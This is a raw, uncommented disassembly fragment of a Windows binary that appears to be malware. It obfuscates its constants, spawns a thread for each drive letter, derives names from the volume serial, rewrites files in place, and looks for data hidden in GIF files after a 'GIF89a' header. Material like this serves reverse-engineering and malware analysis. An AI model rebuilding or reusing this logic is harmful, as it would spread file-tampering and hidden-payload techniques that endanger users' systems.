		cmp	eax, 3
		jz	short loc_43E11D
		cmp	eax, 4
		jz	short loc_43E11D
		cmp	eax, 2
		jz	short loc_43E11D
		cmp	ds:dword_44C970[edi*4],	0
		jz	loc_43E1C0
		movsx	ebx, word_44D23C
		sub	ebx, 5
		mov	ds:dword_4495E0[edi*4],	ebx
		jmp	loc_43E1C0
; ---------------------------------------------------------------------------


loc_43E11D:				; CODE XREF: sub_43E040+ADj
					; sub_43E040+B2j ...
		push	1
		call	ds:dword_447FB0	; SetErrorMode
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_E]
		push	eax
		call	ds:dword_449088	; GetDiskFreeSpaceA
		mov	ebx, dword_44D13C
		sub	ebx, 8
		cmp	eax, ebx
		jnz	short loc_43E172
		cmp	ds:dword_44C970[edi*4],	0
		jz	short loc_43E1C0
		movsx	ebx, word_44D120
		movsx	edx, word_44D0B4
		add	ebx, edx
		sub	ebx, 0Dh
		mov	ds:dword_4495E0[edi*4],	ebx
		jmp	short loc_43E1C0
; ---------------------------------------------------------------------------


loc_43E172:				; CODE XREF: sub_43E040+10Aj
		cmp	ds:dword_44C970[edi*4],	0
		jnz	short loc_43E1C0
		mov	ds:dword_4495E0[edi*4],	edi
		lea	eax, [ebp+var_28]
		push	eax
		mov	eax, dword_44D140
		movsx	edx, word_44D144
		add	eax, edx
		sub	eax, 12h
		push	eax
		lea	ebx, ds:4495E0h[edi*4]
		push	ebx
		push	offset sub_43B8E8
		movsx	ebx, word_44D180
		sub	ebx, 5
		push	ebx
		push	0
		call	ds:dword_44CD70	; CreateThread
		mov	ds:dword_44C970[edi*4],	eax


loc_43E1C0:				; CODE XREF: sub_43E040+C1j
					; sub_43E040+D8j ...
		inc	edi


loc_43E1C1:				; CODE XREF: sub_43E040+23j
		cmp	edi, 5Ah
		jbe	loc_43E068
		movsx	eax, word_44D228
		sub	eax, 4
		push	eax
		call	ds:dword_44C80C
		pop	ecx
		jmp	loc_43E05E
sub_43E040	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E1E8	proc near		; CODE XREF: sub_43E8B9+16Cp
					; sub_43E8B9+25Ap

var_1000C	= dword	ptr -1000Ch
var_10003	= byte ptr -10003h
var_FFFF	= byte ptr -0FFFFh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 10004h
		call	sub_445950
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		lea	edi, dword_44A430
		cmp	[ebp+arg_4], 43h
		jnz	short loc_43E20D
		lea	edi, dword_4490A0


loc_43E20D:				; CODE XREF: sub_43E1E8+1Dj
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	0C0000000h
		push	edi
		call	ds:dword_44C968	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_43E2C2
		push	0
		push	0
		push	esi
		push	edi
		call	ds:dword_44CD80	; SetFilePointer
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFh
		lea	eax, [ebp+var_10003]
		push	eax
		push	edi
		call	ds:dword_44602C	; ReadFile
		lea	ecx, [ebp+var_FFFF]
		or	eax, 0FFFFFFFFh


loc_43E25F:				; CODE XREF: sub_43E1E8+7Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43E25F
		mov	edx, dword_44D1B0
		sub	edx, 2
		mov	ebx, eax
		add	ebx, edx
		mov	[ebp+var_4], ebx
		mov	ebx, dword_44D1CC
		add	ebx, dword_44D1E4
		mov	edx, [ebp+var_4]
		mov	[ebp+ebx*4+var_1000C+1], edx
		push	0
		push	0
		push	esi
		push	edi
		call	ds:dword_44CD80	; SetFilePointer
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, dword_44D158
		add	eax, dword_44D0C8
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_10003]
		push	eax
		push	edi
		call	ds:dword_44CD6C	; WriteFile
		push	edi
		call	ds:dword_44B82C	; CloseHandle


loc_43E2C2:				; CODE XREF: sub_43E1E8+43j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E1E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E2C7	proc near		; DATA XREF: .data:0044D374o
		mov	eax, 80004001h
		retn	10h
sub_43E2C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E2CF	proc near		; CODE XREF: sub_4443C4+3Cp
					; sub_4443C4+C7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		movzx	ebx, byte ptr [eax]
		mov	eax, dword_44D0EC
		add	eax, 0FAh
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+1]
		add	ebx, eax
		mov	eax, dword_44D224
		add	eax, 0FBh
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+2]
		add	ebx, eax
		movsx	esi, word_44D204
		sub	esi, 6
		jmp	short loc_43E354
; ---------------------------------------------------------------------------


loc_43E314:				; CODE XREF: sub_43E2CF+95j
		mov	edi, dword_44D0A8
		dec	edi
		sub	edi, esi
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], edx
		mov	edx, ebx
		and	edx, 8000003Fh
		jge	short loc_43E332
		dec	edx
		or	edx, 0FFFFFFC0h
		inc	edx


loc_43E332:				; CODE XREF: sub_43E2CF+5Cj
		mov	ecx, off_44D27C
		mov	dl, [ecx+edx]
		mov	ecx, [ebp+var_4]
		mov	[ecx+edi], dl
		mov	eax, ebx
		mov	ecx, dword_44D18C
		add	ecx, 3Fh
		cdq
		idiv	ecx
		mov	ebx, eax
		add	esi, 1


loc_43E354:				; CODE XREF: sub_43E2CF+43j
		mov	eax, dword_44D214
		add	eax, dword_44D244
		sub	eax, 6
		cmp	esi, eax
		jl	short loc_43E314
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E2CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E36B	proc near		; DATA XREF: sub_43E524+D1o

var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_1FE		= byte ptr -1FEh
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_210]
		push	eax
		push	offset dword_4490A0
		call	sub_44285A
		add	esp, 8
		mov	[ebp+var_208], eax
		test	eax, eax
		jnz	short loc_43E39C
		xor	eax, eax
		jmp	loc_43E51F
; ---------------------------------------------------------------------------


loc_43E39C:				; CODE XREF: sub_43E36B+28j
		mov	eax, dword_44D0D4
		add	eax, 4
		mov	[ebp+var_204], eax


loc_43E3AA:				; CODE XREF: sub_43E36B+1A0j
		mov	eax, [ebp+var_204]
		mov	edx, [ebp+var_208]
		lea	ecx, [edx+eax]
		or	eax, 0FFFFFFFFh


loc_43E3BC:				; CODE XREF: sub_43E36B+56j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43E3BC
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 0FFh
		jnb	short loc_43E3F9
		mov	eax, [ebp+var_204]
		mov	edx, dword_44D244
		sub	edx, 8
		add	eax, edx
		add	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_445970


loc_43E3F9:				; CODE XREF: sub_43E36B+68j
		mov	eax, dword_44D15C
		mov	esi, eax
		add	esi, dword_44D10C
		jmp	short loc_43E42D
; ---------------------------------------------------------------------------


loc_43E408:				; CODE XREF: sub_43E36B+D4j
		cmp	[ebp+esi+var_FF], 28h
		jnz	short loc_43E41A
		mov	[ebp+esi+var_FF], 2Bh


loc_43E41A:				; CODE XREF: sub_43E36B+A5j
		cmp	[ebp+esi+var_FF], 29h
		jnz	short loc_43E42C
		mov	[ebp+esi+var_FF], 3Dh


loc_43E42C:				; CODE XREF: sub_43E36B+B7j
		inc	esi


loc_43E42D:				; CODE XREF: sub_43E36B+9Bj
		lea	ecx, [ebp+var_FF]
		or	eax, 0FFFFFFFFh


loc_43E436:				; CODE XREF: sub_43E36B+D0j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43E436
		cmp	esi, eax
		jb	short loc_43E408
		push	0FFh
		lea	eax, [ebp+var_1FE]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_43B73E
		add	esp, 0Ch
		mov	ebx, eax
		mov	edi, dword_44D244
		sub	edi, 9
		jmp	short loc_43E497
; ---------------------------------------------------------------------------


loc_43E469:				; CODE XREF: sub_43E36B+12Ej
		movsx	eax, [ebp+edi+var_1FE]
		mov	[ebp+var_218], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_21C], eax
		mov	eax, [ebp+var_218]
		mov	edx, [ebp+var_21C]
		sub	eax, edx
		mov	[ebp+edi+var_1FE], al
		inc	edi


loc_43E497:				; CODE XREF: sub_43E36B+FCj
		cmp	edi, ebx
		jb	short loc_43E469
		mov	eax, dword_44D1EC
		sub	eax, 5
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1FE]
		push	eax
		call	sub_444D98
		add	esp, 0Ch
		mov	[ebp+var_214], eax
		mov	eax, dword_44D224
		add	eax, 0FFF4h
		add	eax, dword_44D1F8
		cmp	[ebp+var_214], eax
		jz	short loc_43E4E5
		push	[ebp+var_208]
		call	ds:dword_4495CC	; LocalFree
		xor	eax, eax
		inc	eax
		jmp	short loc_43E51F
; ---------------------------------------------------------------------------


loc_43E4E5:				; CODE XREF: sub_43E36B+167j
		mov	eax, [ebp+var_20C]
		mov	edx, dword_44D1B4
		add	edx, dword_44D184
		add	eax, edx
		add	[ebp+var_204], eax
		mov	eax, [ebp+var_210]
		cmp	[ebp+var_204], eax
		jb	loc_43E3AA
		push	[ebp+var_208]
		call	ds:dword_4495CC	; LocalFree
		xor	eax, eax


loc_43E51F:				; CODE XREF: sub_43E36B+2Cj
					; sub_43E36B+178j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E36B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E524	proc near		; CODE XREF: sub_43A39F+2E4p

var_275		= byte ptr -275h
var_274		= byte ptr -274h
var_270		= byte ptr -270h
var_26C		= byte ptr -26Ch
var_267		= byte ptr -267h
var_203		= byte ptr -203h
var_10C		= byte ptr -10Ch
var_106		= byte ptr -106h
var_FF		= byte ptr -0FFh
var_FE		= byte ptr -0FEh
var_FA		= byte ptr -0FAh

		push	ebp
		mov	ebp, esp
		sub	esp, 278h
		push	edi
		lea	eax, [ebp+var_203]
		push	eax
		mov	eax, dword_44D0C8
		movsx	edx, word_44D220
		add	eax, edx
		sub	eax, 9
		push	eax
		push	0
		push	1Ch
		push	0
		call	ds:dword_449A00	; SHGetFolderPathA
		lea	eax, [ebp+var_267]
		push	eax
		call	sub_43E7D1
		push	offset byte_44E38F
		call	sub_43AC82
		mov	edi, dword_44D0B0
		sub	edi, 4
		push	edi
		lea	edi, [ebp+var_267]
		push	edi
		lea	edi, [ebp+var_203]
		push	edi
		push	eax
		push	offset dword_44A220
		call	ds:dword_44C810
		push	offset dword_44E37C
		call	sub_43AC82
		mov	edi, dword_44D150
		add	edi, 3
		push	edi
		lea	edi, [ebp+var_203]
		push	edi
		push	eax
		push	offset dword_4490A0
		call	ds:dword_44C810
		push	offset byte_44E369
		call	sub_43AC82
		mov	edi, dword_44D0BC
		add	edi, dword_44D104
		dec	edi
		push	edi
		lea	edi, [ebp+var_203]
		push	edi
		push	eax
		push	offset dword_44A430
		call	ds:dword_44C810
		lea	eax, sub_441F97
		mov	ds:dword_44C804, eax
		lea	eax, sub_441F97
		mov	ds:dword_447000, eax
		lea	eax, sub_43E36B
		mov	ds:dword_44C954, eax
		push	offset dword_447FD0
		call	sub_43F294
		mov	eax, dword_44D22C
		movsx	edx, word_44D194
		add	eax, edx
		sub	eax, 3
		push	eax
		push	offset dword_44A1F0
		call	sub_443CD1
		lea	eax, sub_440FDF
		mov	ds:dword_44A1EC, eax
		lea	eax, sub_441ECB
		mov	ds:dword_4499E4, eax
		lea	eax, dword_4490A0
		mov	ds:dword_44B814, eax
		lea	eax, dword_44A430
		mov	ds:dword_446018, eax
		lea	eax, dword_44C850
		mov	dword_44D33C, eax
		lea	eax, [ebp+var_26C]
		push	eax
		mov	eax, dword_44D10C
		add	eax, dword_44D1AC
		sub	eax, 5
		push	eax
		push	0
		push	offset sub_43AD58
		mov	eax, dword_44D168
		add	eax, dword_44D218
		sub	eax, 12h
		push	eax
		push	0
		call	ds:dword_44CD70	; CreateThread
		push	eax
		call	ds:dword_44B82C	; CloseHandle
		lea	eax, [ebp+var_270]
		push	eax
		movsx	eax, word_44D128
		sub	eax, 5
		push	eax
		push	0
		push	offset sub_4446AE
		mov	eax, dword_44D0A4
		sub	eax, 9
		push	eax
		push	0
		call	ds:dword_44CD70	; CreateThread
		push	eax
		call	ds:dword_44B82C	; CloseHandle
		lea	eax, [ebp+var_274]
		push	eax
		mov	eax, dword_44D1B4
		sub	eax, 4
		push	eax
		push	0
		push	offset sub_43F02F
		movsx	eax, word_44D190
		sub	eax, 5
		push	eax
		push	0
		call	ds:dword_44CD70	; CreateThread
		push	eax
		call	ds:dword_44B82C	; CloseHandle
		movsx	eax, word_44D110
		add	eax, 0Ah
		mov	ds:dword_4495D0, eax
		mov	eax, dword_44D0D4
		inc	eax
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_443D39
		add	esp, 58h
		mov	eax, dword_44D140
		add	eax, dword_44D1B4
		cmp	[ebp+eax+var_10C], 64h
		jnz	short loc_43E777
		movsx	eax, [ebp+var_FE]
		mov	edx, dword_44D248
		add	edx, 19h
		add	edx, dword_44D230
		sub	eax, edx
		mov	[ebp+var_275], al
		movzx	eax, [ebp+var_275]
		push	eax
		push	0
		call	sub_440CB4
		add	esp, 8
		mov	eax, dword_44D170
		add	eax, dword_44D238
		sub	eax, 0Eh
		mov	ds:dword_4495D0, eax


loc_43E777:				; CODE XREF: sub_43E524+20Ej
		mov	eax, dword_44D178
		add	eax, dword_44D1C8
		cmp	[ebp+eax+var_106], 67h
		jnz	short loc_43E7CE
		mov	eax, dword_44D1D0
		mov	edx, dword_44D1A8
		sub	edx, 8
		mov	[ebp+eax+var_FA], dl
		lea	eax, [ebp+var_FE]
		push	eax
		call	ds:dword_447008
		mov	[ebp-278h], eax
		push	eax
		push	offset dword_44C850
		call	sub_44318C
		add	esp, 0Ch
		movsx	eax, word_44D148
		mov	ds:dword_4495D0, eax


loc_43E7CE:				; CODE XREF: sub_43E524+266j
		pop	edi
		leave
		retn
sub_43E524	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E7D1	proc near		; CODE XREF: sub_43E524+36p

var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	edi
		mov	edi, [ebp+arg_0]
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_4495B0	; GetSystemDirectoryA
		mov	eax, dword_44D0D4
		add	eax, 3
		add	eax, dword_44D15C
		movsx	edx, word_44D130
		sub	edx, 2
		mov	[ebp+eax+var_108], dl
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_44C7E4	; GetVolumeInformationA
		push	offset byte_44E361
		call	sub_43AC82
		push	[ebp+var_10C]
		push	eax
		push	edi
		call	ds:dword_44C810
		add	esp, 10h
		mov	eax, dword_44D0EC
		add	eax, dword_44D224
		sub	eax, 0Bh
		mov	[ebp+var_4], eax
		jmp	short loc_43E8A0
; ---------------------------------------------------------------------------


loc_43E871:				; CODE XREF: sub_43E7D1+E3j
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 30h
		jl	short loc_43E887
		cmp	al, 39h
		jg	short loc_43E887
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	31h


loc_43E887:				; CODE XREF: sub_43E7D1+A8j
					; sub_43E7D1+ACj
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 41h
		jl	short loc_43E89D
		cmp	al, 5Ah
		jg	short loc_43E89D
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	20h


loc_43E89D:				; CODE XREF: sub_43E7D1+BEj
					; sub_43E7D1+C2j
		inc	[ebp+var_4]


loc_43E8A0:				; CODE XREF: sub_43E7D1+9Ej
		movsx	eax, word_44D190
		mov	edx, dword_44D0E0
		lea	eax, [eax+edx+1]
		cmp	[ebp+var_4], eax
		jb	short loc_43E871
		pop	edi
		leave
		retn
sub_43E7D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E8B9	proc near		; DATA XREF: .data:0044D338o

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		movsx	eax, word_44D114
		add	eax, dword_44D0BC
		dec	eax
		cmp	ds:dword_4495D0, eax
		jnb	short loc_43E8EF
		mov	eax, dword_44D0A8
		sub	eax, 4
		mov	ds:dword_4495D0, eax


loc_43E8EF:				; CODE XREF: sub_43E8B9+27j
		mov	eax, dword_44D0A4
		movsx	edx, word_44D1B8
		mov	edi, eax
		add	edi, edx
		sub	edi, 0Eh
		jmp	short loc_43E910
; ---------------------------------------------------------------------------


loc_43E904:				; CODE XREF: sub_43E8B9+6Cj
		lea	edx, ds:4480E0h[edi*4]
		cmp	esi, edx
		jz	short loc_43E927
		inc	edi


loc_43E910:				; CODE XREF: sub_43E8B9+49j
		mov	eax, dword_44D1E8
		add	eax, 3DDh
		movsx	edx, word_44D0E8
		add	eax, edx
		cmp	edi, eax
		jb	short loc_43E904


loc_43E927:				; CODE XREF: sub_43E8B9+54j
		mov	eax, dword_44D14C
		add	eax, 3DBh
		add	eax, dword_44D224
		cmp	edi, eax
		jnz	short loc_43E942
		xor	eax, eax
		jmp	loc_43EB73
; ---------------------------------------------------------------------------


loc_43E942:				; CODE XREF: sub_43E8B9+80j
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_44ECD4
		mov	edx, ds:dword_446050[edi*4]
		push	ds:dword_446050[edi*4]
		mov	edx, [edx]
		call	dword ptr ds:0[edx]
		mov	ebx, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+48h]
		mov	ebx, eax
		mov	eax, dword_44D1B0
		sub	eax, 7
		cmp	ebx, eax
		jnz	short loc_43E9F9
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_44EC44
		mov	eax, [ebp+var_8]
		push	eax
		mov	edx, [eax]
		call	dword ptr ds:0[edx]
		mov	ebx, eax
		movsx	eax, word_44D0F8
		add	eax, dword_44D184
		sub	eax, 2
		cmp	ebx, eax
		jnz	short loc_43E9F0
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+20h]
		mov	ebx, eax
		mov	eax, dword_44D094
		sub	eax, 2
		cmp	ebx, eax
		jnz	short loc_43E9E7
		mov	eax, dword_44D174
		add	eax, dword_44D118
		sub	eax, 5
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		call	sub_4435CB
		add	esp, 0Ch


loc_43E9E7:				; CODE XREF: sub_43E8B9+10Fj
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_43E9F0:				; CODE XREF: sub_43E8B9+F4j
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_43E9F9:				; CODE XREF: sub_43E8B9+C8j
		movzx	edx, ds:word_449A10[edi*2]
		movsx	ecx, word_44D144
		add	ecx, dword_44D224
		sub	ecx, 0Dh
		cmp	edx, ecx
		jnz	short loc_43EA3C
		movzx	eax, ds:byte_4491B0[edi]
		push	eax
		push	ds:dword_447010[edi*4]
		call	sub_43E1E8
		add	esp, 8
		and	ds:dword_4480E0[edi*4],	0
		xor	eax, eax
		jmp	loc_43EB73
; ---------------------------------------------------------------------------


loc_43EA3C:				; CODE XREF: sub_43E8B9+15Aj
		movzx	edx, ds:word_449A10[edi*2]
		mov	ecx, dword_44D208
		add	ecx, 0FFF3h
		movsx	eax, word_44D21C
		add	ecx, eax
		cmp	edx, ecx
		jnz	loc_43EB4E
		movsx	eax, word_44D0F8
		movsx	edx, word_44D180
		add	eax, edx
		sub	eax, 6
		mov	[ebp+var_14], eax
		jmp	loc_43EB37
; ---------------------------------------------------------------------------


loc_43EA7C:				; CODE XREF: sub_43E8B9+28Bj
		mov	edx, [ebp+var_14]
		mov	[ebp+var_18], edx
		mov	ecx, edx
		shl	ecx, 2
		mov	[ebp+var_1C], ecx
		cmp	ds:dword_4480E0[ecx], 0
		jz	loc_43EB34
		movzx	eax, ds:word_449A10[edx*2]
		movsx	edx, word_44D144
		movsx	ecx, word_44D0C4
		lea	edx, [edx+ecx+0FFEDh]
		cmp	eax, edx
		jz	short loc_43EB34
		mov	edx, ds:dword_447010[edi*4]
		mov	ecx, [ebp+var_1C]
		cmp	ds:dword_447010[ecx], edx
		jnz	short loc_43EB34
		mov	edx, [ebp+var_18]
		mov	dl, ds:byte_4491B0[edx]
		cmp	dl, ds:byte_4491B0[edi]
		jnz	short loc_43EB34
		mov	edx, [ebp+var_14]
		movzx	edx, ds:word_449A10[edx*2]
		mov	ecx, dword_44D20C
		movsx	eax, word_44D220
		add	ecx, eax
		sub	ecx, 0Dh
		cmp	edx, ecx
		jnz	short loc_43EB25
		mov	edx, [ebp+var_14]
		movzx	ecx, ds:byte_4491B0[edx]
		push	ecx
		push	ds:dword_447010[edx*4]
		call	sub_43E1E8
		add	esp, 8
		and	ds:dword_4480E0[edi*4],	0
		jmp	short loc_43EB4A
; ---------------------------------------------------------------------------


loc_43EB25:				; CODE XREF: sub_43E8B9+245j
		mov	edx, [ebp+var_14]
		lea	edx, ds:449A10h[edx*2]
		dec	word ptr [edx]
		jmp	short loc_43EB4A
; ---------------------------------------------------------------------------


loc_43EB34:				; CODE XREF: sub_43E8B9+1D9j
					; sub_43E8B9+1FEj ...
		inc	[ebp+var_14]


loc_43EB37:				; CODE XREF: sub_43E8B9+1BEj
		mov	eax, dword_44D19C
		add	eax, 3DFh
		cmp	[ebp+var_14], eax
		jb	loc_43EA7C


loc_43EB4A:				; CODE XREF: sub_43E8B9+26Aj
					; sub_43E8B9+279j
		xor	eax, eax
		jmp	short loc_43EB73
; ---------------------------------------------------------------------------


loc_43EB4E:				; CODE XREF: sub_43E8B9+1A2j
		movzx	edx, ds:word_449A10[edi*2]
		mov	ecx, dword_44D09C
		add	ecx, dword_44D118
		sub	ecx, 6
		cmp	edx, ecx
		jle	short loc_43EB71
		dec	ds:word_449A10[edi*2]


loc_43EB71:				; CODE XREF: sub_43E8B9+2AEj
		xor	eax, eax


loc_43EB73:				; CODE XREF: sub_43E8B9+84j
					; sub_43E8B9+17Ej ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
sub_43E8B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EB7A	proc near		; CODE XREF: sub_43D4AD+211p
					; sub_43D4AD+223p

var_61DA0	= dword	ptr -61DA0h
var_61D9C	= dword	ptr -61D9Ch
var_61D98	= byte ptr -61D98h
var_61C99	= byte ptr -61C99h
var_61C98	= dword	ptr -61C98h
var_61C91	= byte ptr -61C91h
var_30F51	= byte ptr -30F51h
var_30F50	= dword	ptr -30F50h
var_30F4B	= byte ptr -30F4Bh
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30E3E	= byte ptr -30E3Eh
var_30E3D	= byte ptr -30E3Dh
var_30E3C	= byte ptr -30E3Ch
var_30E3B	= byte ptr -30E3Bh
var_30E3A	= byte ptr -30E3Ah
var_30E15	= byte ptr -30E15h
var_30E14	= byte ptr -30E14h
var_30DBE	= byte ptr -30DBEh
var_30DBD	= byte ptr -30DBDh
var_30DBC	= byte ptr -30DBCh
var_30D4C	= byte ptr -30D4Ch
var_30D47	= byte ptr -30D47h
var_30D40	= byte ptr -30D40h
var_30D3F	= byte ptr -30D3Fh
var_30D37	= byte ptr -30D37h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 61DA0h
		call	sub_445950
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		and	[ebp+var_30F50], 0
		push	0
		movsx	eax, word_44D114
		movsx	edx, word_44D204
		add	eax, edx
		sub	eax, 0Fh
		push	eax
		push	3
		push	0
		movsx	eax, word_44D194
		sub	eax, 9
		push	eax
		push	80000000h
		push	[ebp+arg_0]
		call	ds:dword_44C968	; CreateFileA
		mov	[ebp+var_30E48], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43F02A
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		mov	eax, dword_44D174
		add	eax, 81h
		movsx	edx, word_44D0A0
		add	eax, edx
		push	eax
		lea	eax, [ebp+var_30E3F]
		push	eax
		push	[ebp+var_30E48]
		call	ds:dword_44602C	; ReadFile
		mov	[ebp+var_30E44], eax
		mov	eax, dword_44D208
		movsx	edx, word_44D098
		add	eax, edx
		sub	eax, 0Bh
		cmp	[ebp+var_30E44], eax
		jz	loc_43F00C
		cmp	[ebp+var_30E3F], 47h
		jnz	short loc_43EC5F
		cmp	[ebp+var_30E3E], 49h
		jnz	short loc_43EC5F
		cmp	[ebp+var_30E3D], 46h
		jnz	short loc_43EC5F
		cmp	[ebp+var_30E3C], 38h
		jnz	short loc_43EC5F
		cmp	[ebp+var_30E3B], 39h
		jnz	short loc_43EC5F
		cmp	[ebp+var_30E3A], 61h
		jz	short loc_43EC64


loc_43EC5F:				; CODE XREF: sub_43EB7A+B6j
					; sub_43EB7A+BFj ...
		jmp	loc_43F00C
; ---------------------------------------------------------------------------


loc_43EC64:				; CODE XREF: sub_43EB7A+E3j
		movzx	eax, [ebp+var_30E15]
		mov	edx, dword_44D1A0
		add	edx, 3Bh
		cmp	eax, edx
		jnz	short loc_43EC8A
		cmp	[ebp+var_30DBE], 3Dh
		jnz	short loc_43EC8A
		cmp	[ebp+var_30DBD], 3Dh
		jz	short loc_43EC8F


loc_43EC8A:				; CODE XREF: sub_43EB7A+FCj
					; sub_43EB7A+105j
		jmp	loc_43F00C
; ---------------------------------------------------------------------------


loc_43EC8F:				; CODE XREF: sub_43EB7A+10Ej
		or	ebx, ebx
		jnz	short loc_43ECBE
		mov	al, [ebp+var_30DBC]
		mov	[ebp+var_30F51], al
		call	sub_440FDF
		mov	edx, eax
		mov	[ebp+var_61C99], dl
		mov	al, [ebp+var_61C99]
		cmp	al, [ebp+var_30F51]
		jz	loc_43F00C


loc_43ECBE:				; CODE XREF: sub_43EB7A+117j
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	30D40h
		lea	eax, [ebp+var_61C91]
		push	eax
		push	[ebp+var_30E48]
		call	ds:dword_44602C	; ReadFile
		mov	[ebp+var_30E44], eax
		mov	eax, dword_44D140
		movsx	edx, word_44D180
		add	eax, edx
		sub	eax, 0Eh
		cmp	[ebp+var_30E44], eax
		jz	loc_43F00C
		mov	eax, [ebp+var_30E4C]
		movsx	edx, word_44D0B4
		add	edx, dword_44D218
		sub	edx, 0Dh
		mov	[ebp+eax+var_61C91], dl
		push	30D40h
		lea	eax, [ebp+var_30D40]
		push	eax
		lea	eax, [ebp+var_61C91]
		push	eax
		call	sub_43B73E
		add	esp, 0Ch
		mov	esi, eax
		mov	eax, dword_44D244
		mov	edi, eax
		add	edi, dword_44D0EC
		sub	edi, 0Fh
		jmp	short loc_43ED93
; ---------------------------------------------------------------------------


loc_43ED4E:				; CODE XREF: sub_43EB7A+21Bj
		or	ebx, ebx
		jz	short loc_43ED65
		movzx	eax, [ebp+edi+var_30D40]
		sub	eax, edi
		mov	[ebp+edi+var_30D40], al
		jmp	short loc_43ED92
; ---------------------------------------------------------------------------


loc_43ED65:				; CODE XREF: sub_43EB7A+1D6j
		movzx	eax, [ebp+edi+var_30D40]
